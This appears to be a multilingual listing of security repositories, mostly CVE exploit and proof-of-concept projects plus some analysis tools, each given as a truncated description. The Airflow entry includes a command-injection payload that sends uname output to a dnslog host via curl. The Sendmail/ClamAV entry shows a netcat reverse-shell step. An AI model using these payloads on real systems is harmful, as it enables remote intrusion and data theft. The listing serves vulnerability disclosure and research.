CVE-2019-19781-CitrixRCE

Citrix 未授权远程代码执行攻撃者 - CVE-2019-19781 References: https://blog.fox-it.com/2020/07/01/a-second-look-at-cve-2019-19781-citrix-netscaler-adc/ バイパス: 1 - /vpn/../vpns/portal/scripts/ にあるスクリプトの削除 / 変更 2 - perlコマンドインジェクション（テンプレートインジェクション）攻撃後のフォワードスラッシュ（"/"）の問題...

social-analyzer

Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. The detection modules utilize a rating mechanism...

CVE-2023-26866

CVE-2023-26866 描述 GreenPacket OH736 的 WR-1200 室内单元和 OT-235，固件版本分别为 M-IDU-1.6.0.3V1.1 和 MH-46360-2.0.3-R5-GP，存在远程命令注入漏洞。命令通过登录前执行方式执行，并以 root 权限运行，从而可完全接管设备。该漏洞已由 Lionel Musonza 验证。 漏洞类型 CWE-77 对命令中使用的特殊元素的不当中和（'Command Injection'） CWE 来源接受级别 NIST CWE-94 对代码生成的不当控制（'Code Injection'） 产品供应商...

sobelow

Sobelow Sobelow is a security-focused static analysis tool for Elixir & the Phoenix framework. For security researchers, it is a useful tool for getting a quick view of points-of-interest. For project maintainers, it can be used to prevent the introduction of a number of common vulnerabilities...

CVE-2026-50979

CVE-2026-50979: oPanelにおける認証済みリモートコード実行 概要 CVE ID: CVE-2026-50979 製品名: oPanel 影響を受けるバージョン: v1.19.50 およびそれ以前 脆弱性タイプ: 認証済みコマンドインジェクション / リモートコード実行 RCE 脆弱性コンポーネント: /advanced/curl エンドポイント 深刻度: 重大 説明 oPanel バージョン v1.19.50 およびそれ以前 の advanced/curl エンドポイントにコマンドインジェクションの脆弱性が存在します。アプリケーションは、url...

CVE-2020-5752

CVE-2020-5752: Druva inSync 本地权限提升 一个基于C的漏洞利用程序，针对Druva inSync Windows客户端（v6.6.3及以下版本） 。该应用程序在端口6064上暴露了一个RPC服务，该服务存在通过路径遍历导致的命令注入漏洞。这使得本地用户可以以NT AUTHORITY\SYSTEM权限执行任意命令。 漏洞详情 CVE: 2020-5752 测试环境: Windows 10 x64 权限级别: 本地权限提升 LPE 用法 1. 编译 使用gcc（MinGW）编译源代码： gcc exploit.c -o exploit.exe -lws232 2...

CVE-2020-7247-reproducer

CVE-2020-7247 OpenSMTPD 情報 このリポジトリには、OpenSMTPD（6.6.1p1）の脆弱な環境を含む Docker イメージを構築するために必要なファイルが含まれています。この脆弱性により、攻撃者は特別に細工された SMTP セッション、特に MAIL FROM フィールドを通じて任意のコマンドを実行できます。 使用方法 1. Docker イメージをビルド （Debian ベース）: docker build -t opensmtpd-vuln -f Dockerfile . docker run -it --rm --name...

CVE-2026-48732-poc

CVE-2026-48732: Warp Remote SSH cwd コマンドインジェクション PoC English version 概要 このリポジトリは、Warp の従来の SSH バックグラウンドコマンド処理に存在する、高深刻度の OS コマンドインジェクション脆弱性 CVE-2026-48732 の Proof of Concept PoC です。 影響を受ける Warp バージョンでは、SSH セッションから報告されたリモートの作業ディレクトリ cwd...

CVE-2025-31644

CVE-2025-31644: F5 BIG-IP の Appliance モードにおけるコマンドインジェクション 「save」コマンドの「file」パラメータはコマンドインジェクション攻撃に対して脆弱であり、認証された攻撃者が「/mgmt」Web API または SSH「tmsh」シェルへの管理者権限を利用して、対象システム上で「root」ユーザーとしてリモートコード実行を取得できる可能性があります。 注記: この発見は、BIG-IP が Appliance モードで実行されている場合にのみ脆弱性とみなされます。これは、認証された管理者権限を持つ攻撃者が、通常は任意の Advanced...

CVE-2025-43920

CVE-2025-43920: GNU Mailman 2.1.39（cPanel/WHMバンドル）におけるメール件名を介したコマンドインジェクション 発見者: Firudin Davudzada & Musazada Aydan 開示日: 2025年4月 CVE ID: CVE-2025-43920 深刻度: 5.4 中程度 CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N 攻撃タイプ: リモート 影響を受けるソフトウェア: GNU Mailman 2.1.39（cPanel/WHMにバンドル） 概要 GNU Mailman...

CVE-2026-78306

CVE-2026-78306 — DJI Drone DUML Command Injection over Bluetooth POC CVE record: https://vulners.com/cve/CVE-2026-78306 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-78306 Description DJI drones expose a Bluetooth interface used to establish a connection to the drone's Wi-Fi interface and exchan...

CVE-2025-60787

CVE-2025-60787 — motionEye 已认证 RCE 针对 CVE-2025-60787 的已认证命令注入 PoC。motionEye v0.43.1b4 及更早版本会将用户可控的摄像头配置值（如 imagefilename）写入 Motion 配置，但未进行充分的清理，从而在该值被处理时可执行命令。 仅供授权测试与研究使用。请勿对您不拥有或未经明确许可测试的系统使用。 功能 Signed API request - camera config update - imagefilename injection - snapshot trigger - command...

CVE-2024-6333

CVE-2024-6333 - 施乐（Xerox）认证远程代码执行 施乐 WorkCentre 打印机通过网络故障排查日志功能存在认证远程代码执行漏洞。 描述 网络故障排查日志功能（/properties/security/networktroubleshootinglog.php）未能对目标服务器参数（security.nwtroubleshoot.destination.server）进行清理，导致认证管理员可以注入任意操作系统命令。当网络日志捕获启动时，注入的载荷会作为 shell 命令执行，从而实现远程代码执行。 受影响产品 施乐 WorkCentre 6655（已在固件...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 PoC 1 examplebashoperator "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog 経由 PoC 2 curl -X 'POST' ...

CVE-2026-4480-PoC

CVE-2026-4480-PoC CVE-2026-4480 – Samba 印刷ジョブ名コマンドインジェクション 概要 CVE-2026-4480 は、外部印刷コマンドを使用する特定の Samba 印刷設定に影響を与えるコマンドインジェクションの脆弱性です。 この脆弱性は、Samba がユーザー制御の印刷ジョブメタデータをシェルコマンドに挿入する際に、シェルメタ文字を適切にエスケープしないために発生します。特定の設定では、攻撃者が悪意のある印刷ジョブ名を提供することで、サーバー上で任意のコマンドを実行させることができます。...

sendmail-clamav-exploit-CVE-2007-4560

Sendmail + ClamAV-Milter エクスプロイト CVE-2007-4560 Sendmail と ClamAV-Milter エクスプロイト成功後： nc 1001 bash -i 動作確認環境 Sendmail 8.13.4/8.13.4/Debian-3sarge3 ClamAV-Milter 0.91.2 参考 オリジナルエクスプロイト：https://www.exploit-db.com/exploits/4761 CVE: ClamAV-Milter コマンドインジェクションに関連 作成者: strikoder...

pyt

.. image:: https://travis-ci.org/python-security/pyt.svg?branch=master :target: https://travis-ci.org/python-security/pyt .. image:: https://readthedocs.org/projects/pyt/badge/?version=latest :target: http://pyt.readthedocs.io/en/latest/?badge=latest .. image::...

android_hid

androidhid AndroidをRubber Duckyとして使い、標的のAndroidデバイスやPCに対して攻撃 Androidを使ったHID攻撃 AndroidをRubber Duckyとして使い、AndroidやWindowsに対して攻撃します。これは新しい手法ではなく、Rubber Duckyの代わりにAndroidを使ってHID攻撃を行うデモです。標的のAndroidデバイスに関しては、ルート化、ADB/USBデバッグの有効化、デバイスの認証は不要です。攻撃者のスマートフォンが接続されたキーボードとして振る舞うからです。 hidattack -...

CVE-2024-1655

CVE-2024-1655 説明 ASUS ExpertWiFi EBM63、EBM68、およびRT-AX57 Goのファームウェア（2024年12月4日以前のパッチ）には、splashpageSDN.cgi関数にコマンドインジェクションの脆弱性があります。攻撃者が特別に細工されたリクエストを送信すると、任意のコード実行が可能になります。 参考文献: 公式レポート 使用方法 この脆弱性は認証されたRCEです。このスクリプトの利用者は、まずターゲットのログイントークン（cookieヘッダーのasustokenの値）を取得する必要があります。 $ python3 CVE-2024-1655....

CVE-2025-23061

CVE-2025-23061 - Mongoose 命令注入 针对 Mongoose = 7.0.0 = 8.0.0 = 14 MongoDB 在本地运行，或可通过连接字符串访问 安装 安装依赖 npm install 可选：使用特定的 MongoDB URI export MONGODBURI="mongodb://localhost:27017/mongoosecvepoc" 运行易受攻击的服务器 npm start 服务器将在 http://localhost:3000 上启动 运行漏洞利用 在另一个终端中： node exploit.js 参考 GitHub Commit 修复...